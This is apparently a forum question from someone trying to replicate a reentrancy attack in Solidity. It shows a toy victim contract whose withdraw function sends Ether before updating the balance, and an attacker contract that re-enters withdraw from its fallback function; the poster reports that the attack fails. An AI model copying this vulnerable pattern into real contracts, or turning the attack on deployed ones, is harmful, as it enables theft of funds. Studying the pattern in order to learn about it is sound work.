0

Vulnerability replication fails, returns false when calling Amoney.withdraw via the Battack contract, and fails to trigger the fallback function.help!

//victim contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
contract Amoney{
    address owner;
    mapping(address => uint256) balances; 
    constructor() payable{}
    function deposit() payable public returns(address){
        balances[msg.sender]+=msg.value;
    }
    function getMoney() public returns(uint256){
        return balances[msg.sender];
    }
    function getMoney(address add) public returns (uint){
        return balances[add];
    }
    function withdraw(address payable add, uint amount) public {
        require(balances[add] >= amount, "Insufficient funds");
        (bool success, ) = add.call{value: amount}("");
        require(success, "Transfer failed");
        balances[add] -= amount;
    }
    fallback() external payable { }
}
//attacker contract
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
contract Battach{
    address public amoney;
    address public owner;
    uint256 public money;
    modifier ownerOnly{
        require(owner==msg.sender);
        _;
    }
    constructor() payable{}
    event DebugInfo(bool success, bytes result);
    function attach(uint256 amount) public payable {
        owner=msg.sender;
        money=amount;
    }
    function setAddre(address add)public{
        amoney=add;
    }
    function startattach() ownerOnly public payable returns(bool){
        bytes memory data=abi.encodeWithSignature("deposit()");
        amoney.call{value:money}(data);
        bytes memory data1=abi.encodeWithSignature("withdraw(address,uint256)",address(this), money/2);
        (bool success, bytes memory result)=amoney.call(data1);
        emit DebugInfo(success, result);
    }
    function stopattach() public ownerOnly{
        selfdestruct(payable(owner));
    }

    fallback() external payable {
        if (msg.sender==amoney){
            bytes memory data1=abi.encodeWithSignature("withdraw(address,uint256)",address(this), money/2);
            amoney.call(data1);
        }
     }

}

0

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.